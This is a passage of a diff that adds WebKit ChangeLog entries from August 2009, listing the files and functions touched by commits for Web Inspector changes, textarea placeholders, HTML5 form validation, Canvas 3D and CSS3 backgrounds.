+        (InjectedScript._objectForId):
+        (InjectedScript.CallFrameProxy):
+        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype._update):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectPropertyProxy):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScopeChainSidebarPane.js:
+        (WebInspector.ScopeChainSidebarPane):
+        (WebInspector.ScopeChainSidebarPane.prototype.update):
+        (WebInspector.ScopeVariableTreeElement.prototype.onattach):
+        (WebInspector.ScopeVariableTreeElement.prototype.onexpand):
+        (WebInspector.ScopeVariableTreeElement.prototype.oncollapse):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        (WebInspector.ScriptsPanel.prototype.variablesInSelectedCallFrame):
+        (WebInspector.ScriptsPanel.prototype.debuggerPaused.callback):
+        (WebInspector.ScriptsPanel.prototype.debuggerPaused):
+
+2009-08-24  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add support for the placeholder attribute and DOM property of the textarea element.
+        https://bugs.webkit.org/show_bug.cgi?id=21248
+
+        A DOM node for an INPUT element doesn't have a flag for placeholder
+        visibility anymore.  This patch also fixes a bug that a renderer
+        doesn't reflect a corresponding DOM value change.
+
+        Tests: fast/forms/textarea-placeholder-dom-property.html
+               fast/forms/textarea-placeholder-pseudo-style.html
+               fast/forms/textarea-placeholder-set-attribute.html
+               fast/forms/textarea-placeholder-set-value.html
+
+        * css/html.css: Add the default style for placeholder of textarea.
+        * dom/InputElement.cpp: Cleanup for m_placeholderShouldBeVisible removal
+        (WebCore::InputElement::dispatchFocusEvent):
+        (WebCore::InputElement::dispatchBlurEvent):
+        (WebCore::InputElement::placeholderShouldBeVisible):
+        (WebCore::InputElement::updatePlaceholderVisibility):
+        (WebCore::InputElement::setValueFromRenderer):
+        (WebCore::InputElementData::InputElementData):
+        * dom/InputElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::dispatchFocusEvent):
+        (WebCore::HTMLInputElement::dispatchBlurEvent):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::placeholderShouldBeVisible):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::updatePlaceholderVisibility):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        (WebCore::HTMLTextAreaElement::setValue):
+        (WebCore::HTMLTextAreaElement::placeholderShouldBeVisible):
+        (WebCore::HTMLTextAreaElement::updatePlaceholderVisibility):
+        (WebCore::HTMLTextAreaElement::dispatchFocusEvent):
+        (WebCore::HTMLTextAreaElement::dispatchBlurEvent):
+        * html/HTMLTextAreaElement.h:
+        * html/HTMLTextAreaElement.idl:
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::RenderTextControl):
+        (WebCore::RenderTextControl::styleDidChange):
+        (WebCore::RenderTextControl::setInnerTextStyle):
+        (WebCore::RenderTextControl::updatePlaceholderVisibility):
+        * rendering/RenderTextControl.h:
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::RenderTextControlMultiLine):
+        (WebCore::RenderTextControlMultiLine::nodeAtPoint):
+        (WebCore::RenderTextControlMultiLine::updateFromElement):
+        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
+        (WebCore::RenderTextControlMultiLine::textBaseStyle):
+        * rendering/RenderTextControlMultiLine.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::RenderTextControlSingleLine):
+        (WebCore::RenderTextControlSingleLine::textBaseStyle):
+        (WebCore::RenderTextControlSingleLine::updateFromElement):
+        (WebCore::RenderTextControlSingleLine::createInnerTextStyle):
+        * rendering/RenderTextControlSingleLine.h:
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::dispatchFocusEvent):
+        (WebCore::WMLInputElement::dispatchBlurEvent):
+        (WebCore::WMLInputElement::setValue):
+        (WebCore::WMLInputElement::placeholderShouldBeVisible):
+
+2009-08-23  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Code clean-up and build fix for filters enabled builds. Moved SVGNames.h
+        into #if ENABLE(SVG) for Document.cpp and added SVGNames.h to the other
+        files. They are needed there after r47688.
+
+        * dom/Document.cpp:
+        * svg/SVGComponentTransferFunctionElement.h:
+        * svg/SVGFELightElement.h:
+        * svg/SVGFEMergeNodeElement.h:
+        * svg/SVGFilterPrimitiveStandardAttributes.h:
+
+2009-08-23  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Unreviewed, build fix for make distcheck on GTK+.
+
+        * GNUmakefile.am: Added files needed for the build.
+        * bindings/js/JSDOMWindowCustom.cpp: Protect SharedWorker include
+        with #if clause.
+        * bindings/js/JSEventTarget.cpp: Dito.
+        * dom/Document.cpp: Dito.
+        * loader/FrameLoader.cpp: Dito.
+
+2009-08-23  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Throws an Error on "null"
+        https://bugs.webkit.org/show_bug.cgi?id=28665
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluate):
+
+2009-08-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: REGRESSION Formatting Function in Console is Abbreviated Too Often
+
+        https://bugs.webkit.org/show_bug.cgi?id=28666
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getProperties):
+        (InjectedScript.createProxyObject):
+
+2009-08-22  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] BitmapImage::getGdkPixbuf does not handle alpha channels properly
+        https://bugs.webkit.org/show_bug.cgi?id=28345
+
+        When doing the conversion between cairo_surface_t* and GdkPixbuf*
+        account for the differences in the respective formats' in-memory
+        image format.
+
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::getCairoSurfacePixel):
+        (WebCore::getGdkPixbufPixel):
+        (WebCore::BitmapImage::getGdkPixbuf):
+
+2009-08-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Make DOM classes start with a reference count of 1, like all other RefCounted
+        
+        Next step: Element, HTMLElement, HTMLAnchorElement, HTMLAppletElement,
+        HTMLAreaElement, HTMLEmbedElement, HTMLFrameElement, HTMLIFrameElement,
+        HTMLObjectElement, HTMLPlugInElement, HTMLPlugInImageElement.
+
+        * DerivedSources.make: Fix error seen every time we build by escaping the $
+        in the build rule, since you have to use $$ for that in make.
+
+        * WebCore.base.exp: Updated.
+
+        * bindings/objc/DOM.mm:
+        Added now-needed include of SVGNames.h.
+
+        * dom/Document.cpp: Added now-needed include of SVGNames.h.
+        (WebCore::Document::createElement): Use create instead of new.
+
+        * dom/Element.cpp:
+        (WebCore::Element::Element): Added ConstructionType argument so the caller
+        can determine whether this starts with a reference count of either 0 or 1.
+        Later we will remove this again once they are all 1.
+        (WebCore::Element::create): Added.
+
+        * dom/Element.h: Added create and made constructor protected.
+
+        * dom/StyledElement.cpp:
+        (WebCore::StyledElement::StyledElement): Added ConstructionType argument.
+        * dom/StyledElement.h: Made many functions protected or private, including
+        the constructor.
+
+        * dom/make_names.pl: Use create to create the base elements HTMLElement,
+        SVGElement, and WMLElement.
+
+        * editing/CreateLinkCommand.cpp:
+        (WebCore::CreateLinkCommand::doApply): Use create instead of new.
+        * editing/UnlinkCommand.cpp:
+        (WebCore::UnlinkCommand::doApply): Ditto.
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::create): Added.
+        * html/HTMLAnchorElement.h: Made constructor protected and added create.
+        Also made m_rootEditableElementForSelectionOnMouseDown a RefPtr.
+
+        * html/HTMLAppletElement.cpp:
+        (WebCore::HTMLAppletElement::create): Added.
+        * html/HTMLAppletElement.h: Made constructor private and added create.
+
+        * html/HTMLAreaElement.cpp:
+        (WebCore::HTMLAreaElement::create): Added.
+        * html/HTMLAreaElement.h: Made constructor private and added create.
+
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::create): Added.
+        * html/HTMLElement.h: Made constructor protected and added create.
+        Made other functions protected and private. Also added inline
+        definition of constructor.
+
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::HTMLEmbedElement::create): Added.
+        * html/HTMLEmbedElement.h: Made constructor private and added create.
+        Made other functions private.
+
+        * html/HTMLFrameElement.cpp:
+        (WebCore::HTMLFrameElement::create): Added.
+        (WebCore::HTMLFrameElement::parseMappedAttribute):
+        * html/HTMLFrameElement.h: Made constructor private and added create.
+        Made other functions private.
+
+        * html/HTMLFrameElementBase.h: Made functions protected and private.
+
+        * html/HTMLFrameOwnerElement.cpp:
+        (WebCore::HTMLFrameOwnerElement::HTMLFrameOwnerElement): Pass
+        CreateElement so reference count starts at 1.
+
+        * html/HTMLFrameOwnerElement.h: Made functions protected and private.
+
+        * html/HTMLIFrameElement.cpp:
+        (WebCore::HTMLIFrameElement::create): Added.
+        * html/HTMLIFrameElement.h: Made constructor private and added create.
+        Made other functions private.
+
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::create): Added.
+        (WebCore::HTMLObjectElement::containsJavaApplet): Changed while loop
+        into a for loop and tweaked formatting.
+
+        * html/HTMLObjectElement.h: Made constructor private and added create.
+        Made other functions private.
+
+        * html/HTMLPlugInElement.h: Made constructor protected.
+        Made other functions protected and private.
+
+        * html/HTMLPlugInImageElement.h: Made constructor and another function
+        protected.
+
+        * html/HTMLTagNames.in: Removed createWithNew from all classes that
+        now have create functions. Moved conditional noscript to a separate
+        paragraph.
+
+        * html/HTMLViewSourceDocument.cpp:
+        (WebCore::HTMLViewSourceDocument::addSpanWithClassName): Use create.
+        (WebCore::HTMLViewSourceDocument::addLink): Ditto.
+        * page/DragController.cpp:
+        (WebCore::documentFragmentFromDragData): Ditto.
+
+        * svg/SVGElement.cpp:
+        (WebCore::SVGElement::SVGElement): Pass CreateElementZeroRefCount
+        so reference count still starts at 0. Will change this class later.
+        (WebCore::SVGElement::create): Added.
+        * svg/SVGElement.h: Added create, made constructor protected, and
+        made other functions protected and private. Removed unneeded
+        SVGNames.h include.
+
+        * svg/SVGExternalResourcesRequired.h: Added now-needed SVGNames.h
+        include.
+
+        * svg/SVGStopElement.h: Added now-needed SVGNames.h include.
+        Made functions private.
+
+        * wml/WMLElement.cpp:
+        (WebCore::WMLElement::WMLElement): Pass CreateElementZeroRefCount
+        so reference count still starts at 0. Will change this class later.
+        (WebCore::WMLElement::create): Added.
+        * wml/WMLElement.h: Added create and made constructor protected.
+
+        * wml/WMLTagNames.in: Removed createWithNew from WMLElement.
+
+2009-08-22  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Fix for <rdar://problem/7161656> Crash in RenderObject::destroy when using custom scrollbars
+
+        Custom scrollbars normally get detached when a document gets detached.  In this case, a crash was happening when the document had gone into the page cache 
+        and then was getting destroyed without proper scrollbar teardown.  This change makes custom scrollbars get detached when the document enters the cache.
+
+        I couldn't figure out a way to reliably cause this to happen in DRT, since the reproducible case relies on the cache being purged at a particular time.
+
+        * history/CachedFrame.cpp: (WebCore::CachedFrame::CachedFrame): Detach custom scrollbars when the CachedFrame is created.  
+          They'll get reattached when the document comes out of the page cache.
+        * page/FrameView.cpp: (WebCore::FrameView::~FrameView): Added some asserts to catch this problem earlier in debug builds.
+
+2009-08-22  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Make sure self-collapsing blocks that clear floats are still able to collapse their bottom margins with
+        the bottom of their parent blocks.  The old code prevented all collapsing, but all CSS2.1 states is that:
+        "An element that has had clearance applied to it never collapses its top margin with its parent block's bottom margin."
+        
+        The implication is that the bottom margin can still collapse, and the block-inside-inline form of
+        fast/block/margin-collapse/025.html (added as fast/block/margin-collapse/block-inside-inline/025.html) depends
+        on it to get comparable results.
+
+        Added block-inside-inline tests (a whole slew of them) in fast/block/margin-collapse/block-inside-inline/
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::MarginInfo::MarginInfo):
+        (WebCore::RenderBlock::collapseMargins):
+        (WebCore::RenderBlock::clearFloatsIfNeeded):
+        (WebCore::RenderBlock::handleBottomOfBlock):
+        * rendering/RenderBlock.h:
+        (WebCore::RenderBlock::MarginInfo::clearMargin):
+        (WebCore::RenderBlock::MarginInfo::canCollapseBottomWithChildren):
+
+2009-08-22  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Need to implement ARIA role="listitem" and role="list"
+        https://bugs.webkit.org/show_bug.cgi?id=28606
+
+        Test: platform/mac-snowleopard/accessibility/aria-list-and-listitem.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        * accessibility/AccessibilityList.cpp:
+        (WebCore::AccessibilityList::isUnorderedList):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::RoleEntry::):
+
+2009-08-21  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Clean up fill image geometry calculation
+        https://bugs.webkit.org/show_bug.cgi?id=28652
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateFillTileSize): Renamed
+            calculateBackgroundSize() to this. Replaced separate scaledWidth and
+            scaledHeight parameters with a single scaledSize parameter. Renamed
+            parameters and local variables.
+        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry): Changed
+            to use CSS3 Backgrounds and Borders terminology in comments and
+            local variable names. Renamed, clarified and consolidated some local
+            variables.
+        * rendering/RenderBoxModelObject.h: Made calculateFillTileSize() private.
+
+2009-08-22  Chris Marrin  <cmarrin@apple.com>
+
+        Unreviewed, build fix.
+
+        Backing out http://trac.webkit.org/changeset/47669
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        * html/canvas/CanvasRenderingContext2D.h:
+
+2009-08-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        Backing out http://trac.webkit.org/changeset/47671 in preparation of
+        rolling out http://trac.webkit.org/changeset/47669.
+
+2009-08-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Anders Carlsson.
+
+        Build fix, add CanvasRenderingContext to build systems.
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        * DerivedSources.make: Added CanvasRenderinContext.
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * WebCoreSources.bkl: Ditto.
+
+2009-08-21  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        New files implementing GL buffer wrappers, and support to make them platform independent
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        * html/canvas/CanvasBuffer.cpp: Added. Wrapper around GL Buffer object
+        * html/canvas/CanvasBuffer.h: Added.
+        * html/canvas/CanvasBuffer.idl: Added.
+        * html/canvas/CanvasFramebuffer.cpp: Added. Wrapper around GL Framebuffer object
+        * html/canvas/CanvasFramebuffer.h: Added.
+        * html/canvas/CanvasFramebuffer.idl: Added.
+        * html/canvas/CanvasObject.h: Expose m_context
+        * html/canvas/CanvasProgram.cpp: Added. Wrapper around GL Program object
+        * html/canvas/CanvasProgram.h: Added.
+        * html/canvas/CanvasProgram.idl: Added.
+        * html/canvas/CanvasRenderbuffer.cpp: Added. Wrapper around GL Renderbuffer object
+        * html/canvas/CanvasRenderbuffer.h: Added.
+        * html/canvas/CanvasRenderbuffer.idl: Added.
+        * html/canvas/CanvasRenderingContext3D.cpp: Move m_objects hash table from GraphicsContext3D to here
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasShader.cpp: Added. Wrapper around GL Shader object
+        * html/canvas/CanvasShader.h: Added.
+        * html/canvas/CanvasShader.idl: Added.
+        * html/canvas/CanvasTexture.cpp: Added. Wrapper around GL Texture object
+        * html/canvas/CanvasTexture.h: Added.
+        * html/canvas/CanvasTexture.idl: Added.
+        * platform/graphics/GraphicsContext3D.cpp: Removed.
+        * platform/graphics/GraphicsContext3D.h: Move m_objects hash table from here to CanvasRenderingContext3D
+        * platform/graphics/mac/GraphicsContext3DMac.cpp: Implement platform dependent code for GL object creation/destruction
+
+2009-08-21  Darin Adler  <darin@apple.com>
+
+        * WebCore.vcproj/build-generated-files.sh:
+        * make-generated-sources.sh:
+        Removed obsolete code to set up CREATE_HASH_TABLE.
+
+2009-08-21  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        <rdar://problem/7162322> Custom style sheet ignored if UAC is enabled 
+
+        * platform/win/SharedBufferWin.cpp: (WebCore::SharedBuffer::createWithContentsOfFile): 
+        No need to open the file with write access.  Only read access is needed.
+
+2009-08-21  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7161454> Leaks seen during http/tests/xmlhttprequest/cross-origin-no-authorization.html
+
+        Also fixes leaks seen on appcache tests.
+
+        * platform/network/mac/ResourceHandleMac.mm: (WebCore::ResourceHandle::cancel): Work around
+        something that's likely a CFNetwork issue. Note that on Windows, there is no matching API
+        to call, and we do not think that the leak occurs there anyway.
+
+2009-08-21  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28650
+        Remove cross-thread code from CrossOriginPreflightResultCache.
+        Removed mutexes, atomic initializer and string copy.
+
+        No new tests, the worker tests cover this.
+
+        * loader/CrossOriginPreflightResultCache.cpp:
+        (WebCore::addToAccessControlAllowList):
+        (WebCore::CrossOriginPreflightResultCache::shared):
+        (WebCore::CrossOriginPreflightResultCache::appendEntry):
+        (WebCore::CrossOriginPreflightResultCache::canSkipPreflight):
+        (WebCore::CrossOriginPreflightResultCache::empty):
+        * loader/CrossOriginPreflightResultCache.h:
+
+2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        Buildfix after http://trac.webkit.org/changeset/47655.
+
+        * html/HTMLFormControlElement.h:
+
+2009-08-19  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Improve Cookie DataGrid to Show Hidden Data
+        https://bugs.webkit.org/show_bug.cgi?id=28269
+
+          Removed Custom Bindings
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        * inspector/InspectorBackend.cpp:
+
+          Made Non-Custom Bindings in the Backend
+
+        (WebCore::InspectorBackend::getCookies):
+        (WebCore::InspectorBackend::deleteCookie):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::deleteCookie):
+        * inspector/InspectorController.h:
+
+          Build the Cookie ScriptObjects, handles using document.cookie in
+          case the platform hasn't implemented raw cookie access.
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getCookies):
+        (WebCore::InspectorDOMAgent::buildObjectForCookie):
+        (WebCore::InspectorDOMAgent::buildArrayForCookies):
+        * inspector/InspectorDOMAgent.h:
+
+          Complete the Asynchronous Calls
+
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didGetCookies):
+        * inspector/InspectorFrontend.h:
+
+          Asynchronous Functions to get Cookie Data
+
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.Cookies.getCookiesAsync):
+        (WebInspector.Cookies.buildCookiesFromString): fallback behavior
+
+          Refactor to use the Asynchronous Functions
+
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.get statusBarItems):
+        (WebInspector.CookieItemsView.prototype.update.callback):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype.simpleDataGridForCookies):
+        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
+
+          Cleaned/Commented Related Code
+
+        (InspectorController.searchCanceled):
+        * inspector/front-end/InjectedScript.js:
+        * platform/Cookie.h:
+        * English.lproj/localizedStrings.js: the new strings that were supposed to have gone in last time
+
+2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28145
+        Add support for novalidate/formnovalidate attribute, from HTML5 specs:
+        http://www.whatwg.org/specs/web-apps/current-work/#attr-fs-novalidate
+
+        Tests: fast/forms/formnovalidate-attribute.html
+               fast/forms/novalidate-attribute.html
+
+        * html/HTMLAttributeNames.in: added novalidate, formnovalidate
+        * html/HTMLButtonElement.idl: formnovalidate attribute exposed
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::formNoValidate): attribute getter
+        (WebCore::HTMLFormControlElement::setFormNoValidate): attribute setter
+        * html/HTMLFormControlElement.h:
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::novalidate): attribute getter
+        (WebCore::HTMLFormElement::setNovalidate): attribute setter
+        * html/HTMLFormElement.h:
+        * html/HTMLFormElement.idl: novalidate attribute exposed
+        * html/HTMLInputElement.idl: formNoValidate attribute exposed
+
+2009-08-21  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Rendering changes to complete
+        [CSS3 Backgrounds and Borders] Add support for the "contain" value for
+        background-size
+        https://bugs.webkit.org/show_bug.cgi?id=27573
+        and
+        [CSS3 Backgrounds and Borders] Add support for the "cover" value for
+        background-size
+        https://bugs.webkit.org/show_bug.cgi?id=27574
+
+        Test: fast/backgrounds/size/contain-and-cover.html
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateBackgroundSize):
+        * rendering/RenderObject.cpp:
+        (WebCore::mustRepaintFillLayers):
+
+2009-08-21  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27452
+        Add support for checkValidity() method and invalid event, from HTML5
+        specs:
+        http://www.whatwg.org/specs/web-apps/current-work/#dom-form-checkvalidity
+
+        Tests: fast/events/invalid-001.html
+               fast/events/invalid-002.html
+               fast/events/invalid-003.html
+               fast/events/invalid-004.html
+               fast/events/invalid-005.html
+               fast/forms/checkValidity-001.html
+               fast/forms/checkValidity-002.html
+               fast/forms/checkValidity-003.html
+               fast/forms/checkValidity-004.html
+
+        * dom/Document.idl: oninvalid event handler
+        * dom/Element.idl: ditto
+        * dom/EventNames.h: added invalid event
+        * dom/Node.cpp:
+        (WebCore::Node::oninvalid): ditto
+        (WebCore::Node::setOninvalid): ditto
+        * dom/Node.h: ditto
+        * html/HTMLAttributeNames.in: oninvalid attribute
+        * html/HTMLButtonElement.idl: added checkValidity() method
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute): parses oninvalid
+        * html/HTMLFieldSetElement.idl: added checkValidity() method
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::checkValidity): checkValidity()
+        implementation
+        * html/HTMLFormControlElement.h:
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::checkValidity): checkValidity() implementation
+        for form elements
+        * html/HTMLFormElement.h: checkValidity() definition
+        * html/HTMLFormElement.idl: added checkValidity() method
+        * html/HTMLInputElement.idl: added checkValidity() method
+        * html/HTMLSelectElement.idl: added checkValidity() method
+        * html/HTMLTextAreaElement.idl: added checkValidity() method
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::oninvalid): oninvalid event handler
+        (WebCore::DOMWindow::setOninvalid): ditto
+        * page/DOMWindow.h: ditto
+        * page/DOMWindow.idl: ditto
+
+2009-08-21  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        The CSS part of https://bugs.webkit.org/show_bug.cgi?id=27571 [CSS3 
+        Backgrounds and Borders] Add support for the "round" value for 
+        background-repeat
+        -and-
+        https://bugs.webkit.org/show_bug.cgi?id=27570 [CSS3 Backgrounds and 
+        Borders] Add support for the "space" value for background-repeat
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseFillProperty):
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator EFillRepeat):
+        * css/CSSValueKeywords.in:
+        * rendering/style/FillLayer.h:
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-08-21  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        New files for Canvas 3D feature
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        This is all the new files for implementing Canvas 3D. None of them are hooked up and
+        are not even included in the build yet. This incorporates the reviews from Simon
+        and Ollie for these files.
+
+        * bindings/js/JSCanvasNumberArrayCustom.cpp: Added. Custom JS binding to do implicit conversion from JS Array
+        * html/CanvasObject.cpp: Added. Base class for all GL object containers
+        * html/CanvasObject.h: Added.
+        * html/CanvasRenderingContext.cpp: Added. Base class for CanvasRenderingContext2D and CanvasRenderingContext3D
+        * html/CanvasRenderingContext.h: Added.
+        * html/CanvasRenderingContext.idl: Added.
+        * html/CanvasRenderingContext3D.cpp: Added. 3D context returned from Canvas.getContext()
+        * html/CanvasRenderingContext3D.h: Added.
+        * html/CanvasRenderingContext3D.idl: Added.
+        * platform/graphics/GraphicsContext3D.cpp: Added. Platform interface between CanvasRenderingContext3D and 3D graphics engine
+        * platform/graphics/GraphicsContext3D.h: Added.
+        * platform/graphics/mac/Canvas3DLayer.h: Added. CALayer subclass to composite 3D canvas
+        * platform/graphics/mac/Canvas3DLayer.mm: Added.
+        * platform/graphics/mac/GraphicsContext3DMac.cpp: Added. Mac specific interface (OpenGL based)
+
+2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+
+        No Review.
+
+        Another Windows build fix.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::diffTextDecorations):
+
+2009-08-21  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28625, focus rings don't respect the non-strict mode
+        line box shrinking quirk.  Make sure outlines don't extend outside the lineTop and lineBottom
+        of the root line box.
+
+        Covered by existing tests.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::addFocusRingRects):
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::addFocusRingRects):
+        (WebCore::RenderInline::paintOutline):
+
+2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+
+        No Review.
+
+        Windows build fix.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::setTextDecorationProperty): Made it static
+        (WebCore::diffTextDecorations): Made it static
+
+2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        execCommand("Underline") uses CSS even when styleWithCSS has been turned off
+        https://bugs.webkit.org/show_bug.cgi?id=23892
+
+        This patch adds support for u and s in StyleChange and addInlineStyleIfNeeded so that
+        WebKit does not use CSS to decorate texts when styleWithCSS is set to false.
+
+        * css/CSSValueList.cpp:
+        (WebCore::CSSValueList::copy): Added.
+        * css/CSSValueList.h: Added copy.
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::StyleChange::applyUnderline):
+        (WebCore::StyleChange::applyLineThrough):
+        (WebCore::StyleChange::StyleChange): Added a boolean trimTextDecorations argument.
+        (WebCore::StyleChange::init): Ditto.
+        (WebCore::StyleChange::extractTextStyles): Handles text decorations.
+        (WebCore::getPropertiesNotInComputedStyle): Handles text decorations properly.
+        (WebCore::ApplyStyleCommand::addInlineStyleIfNeeded): Adds u and s if needed.
+
+2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Rename "Databases" Panel as "Storage"
+        https://bugs.webkit.org/show_bug.cgi?id=28620
+
+          Updated enum from "DatabasesPanel" to "StoragePanel" and wherever it was used.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::specialPanelForJSName): string to display StoragePanel can be either "databases" or "storage"
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::showPanel):
+
+          Updated All Direct Access from WebInspector.panels.databases to WebInspector.panels.storage,
+          any DatabasesPanel constructors and appropriate function names.
+
+        * inspector/front-end/DOMStorageDataGrid.js:
+        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode):
+        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
+        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted):
+        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled):
+        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow):
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype.update):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView.prototype._queryFinished):
+        * inspector/front-end/DatabaseTableView.js:
+        (WebInspector.DatabaseTableView.prototype._queryFinished):
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels): updated string that comes from hiddenPanels to be "databases" or "storage"
+        (WebInspector.showStoragePanel):
+        (WebInspector.selectDatabase):
